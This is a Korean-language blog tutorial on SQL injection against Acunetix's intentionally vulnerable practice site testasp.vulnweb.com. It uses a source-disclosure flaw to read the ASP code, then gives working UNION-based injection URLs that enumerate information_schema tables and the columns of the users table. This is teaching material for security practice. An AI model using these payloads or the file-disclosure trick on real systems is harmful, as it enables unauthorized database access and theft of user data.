[SQL Injection] TestASP 취약점 테스트
TestASP 취약점 테스트
웹스캐너 테스트 사이트중 하나인 TESTASP에 존재하는 취약점을 이용하여 SQL 인젝션 테스트를 진행해 보겠습니다 .
앞서 실습을 진행한 TESTPHP는 MySQL 이지만 이 사이트는 상이한 데이터베이스를 사용하고 있습니다.
접속한 첫페이지는 다음과 같습니다 .
Forums의 Acunetix Web Vulnerability Scanner, Weather, Miscellaneous에서 SQL 인젝션에 가장 적합한 페이지 입니다 .
Acunetix Web Vulnerability Scanner 페이지
싱글쿼터를 삽입하여 취약점이 존재하는지 확인합니다 .
주입 결과 500에러가 발생했습니다 .
HTTP STAUTUS 코드에서 500은 웹 서버에서 발생한 에러로 서버 스크립트 또는 사이트 사용량 폭주 등이 대표적입니다 .
사이트 사용량 과다로 오류가 발생했다면 처음부터 사이트에 접속이 되지 않았을 것입니다 .
따라서 서버스크립트 에러가 발생한 것으로 보입니다 .
에러가 발생하지 않도록 id 파라미터에 주석 처리문을 주입합니다 .
http://testasp.vulnweb.com/showforum.asp?id=0--
정상적으로 페이지가 표시됩니다 .
주입한 주석처리 구문으로 인해서 SQL 구문에 에러 없이 정상적으로 동작했다는 것을 알 수 있습니다 .
이전 처럼 컬럼 개수를 확인해 보겠습니다 .
컬럼 개수 확인
페이지 노출된 4개의 항목을 통해서 최소 4개 이상의 컬럼이 존재 한다고 예상할 수 있습니다 .
Order by 절을 이용하여 컬럼을 확인합니다.
http://testasp.vulnweb.com/showforum.asp?id=0+order+by+4--
2,3 을 추가로 테스트한 결과 컬럼이 2개임을 알 수 있다 .
데이터 타입 확인
에러 메세지로는 DB 종류 확인이 불가하기 때문에 null을 이용하여 데이터 타입을 확인합니다 .
http://testasp.vulnweb.com/showforum.asp?id=0+union+select+null,null--
동일한 에러가 발생합니다 .
unison 기반 SQL 인젝션은 불가능한 것으로 판단되며 이러한 경우에는 다른 방식의 공격기법이 필요합니다 .
해당사이트의 소스코드를 다운로드를 받아 원인 분석을 해보겠습니다 .
이 웹사이트에서 다운로드 취약점은 abount 메뉴의 URL에서 발생합니다 .
http://testasp.vulnweb.com/Templatize.asp?item=showforum.asp
밑줄친 행을 보면 forums 테이블에서 name과 descr 컬럼의 데이터를 조회합니다 .
그러나 아래 구문에서도 thread 테이블 조회에 id 파라미터 값을 사용합니다 .
결국 해당 파라미터는 다중의 쿼리 생성에 사용됩니다 .
앞의 조회문 컬럼의 개수가 2개 지만 두 번째 쿼리는 3개로 모두 만족하는 쿼리문 주입은 불가능합니다 .
여기서 search 메뉴에서 union 기반 공격이 가능 하다는 것을 소스코드 다운로드 취약점을 이용해 확인했습니다 .
http://testasp.vulnweb.com/Templatize.asp?item=search.asp
다음 구문에서 SQL 쿼리 구문의 2군데에 삽입됩니다 .
where 절에서 두번째 AND 연산자 다음에 CHARINDEX에서 OR 조건으로 0보다 큰지 비교합니다 .
UNION 기반 SQL 인젝션 공격을 위해 첫번째 CHARINDEX의 함수를 에러 없이 종료 시켜야 합니다 .
첫번째 함수에 )>0 을 삽입하고 두번째 함수는 주석처리합니다 .
http://testasp.vulnweb.com/Search.asp?tfSearch=%27)%3E0)--
실행 결과 정상적인 페이지가 표시됩니다 .
컬럼 개수 확인하기
asp는 윈도우 ISS 웹 서버에서 사용하는 확장자로 데이터 베이스는 MSSQL DB와 연동하는 경우가 많습니다 .
DB의 연결정보가 저장되어 있는 db.asp 파일의 소스코드를 확인하면 MSSQL 서버인것을 명확하게 알 수 있습니다 .
MSSQL 서버도 숫자형 데이터를 문자와 날짜형으로 묵시적 형 변환을 제공하기 때문에 null 대신 1부터 10까지 숫자를 대입하여 데이터가 노출되는 위치를 확인합니다 .
http://testasp.vulnweb.com/Search.asp?tfSearch=%27)%3E0)+union+select+1,2,3,4,5,6,7,8,9,10--
2,3,9,10 번 위치의 데이터가 화면에 노출되며 데이터 획득은 3번 위치를 이용합니다 .
데이터 칼럼을 획득하기
http://testasp.vulnweb.com/Search.asp?tfSearch=%27)%3E0)+union+select+1,2,table_name,4,5,6,7,8,9,10+from+information_schema.tables--
이어서 users 테이블의 컬럼 정보를 " information_schema.columns 객체를 이용하여 조회합니다.
http://testasp.vulnweb.com/Search.asp?tfSearch=%27)%3E0)+union+select+1,2,column_name,4,5,6,7,8,9,10+from+information_schema.columns+where+table_name=%27users%27--
댓글
댓글 쓰기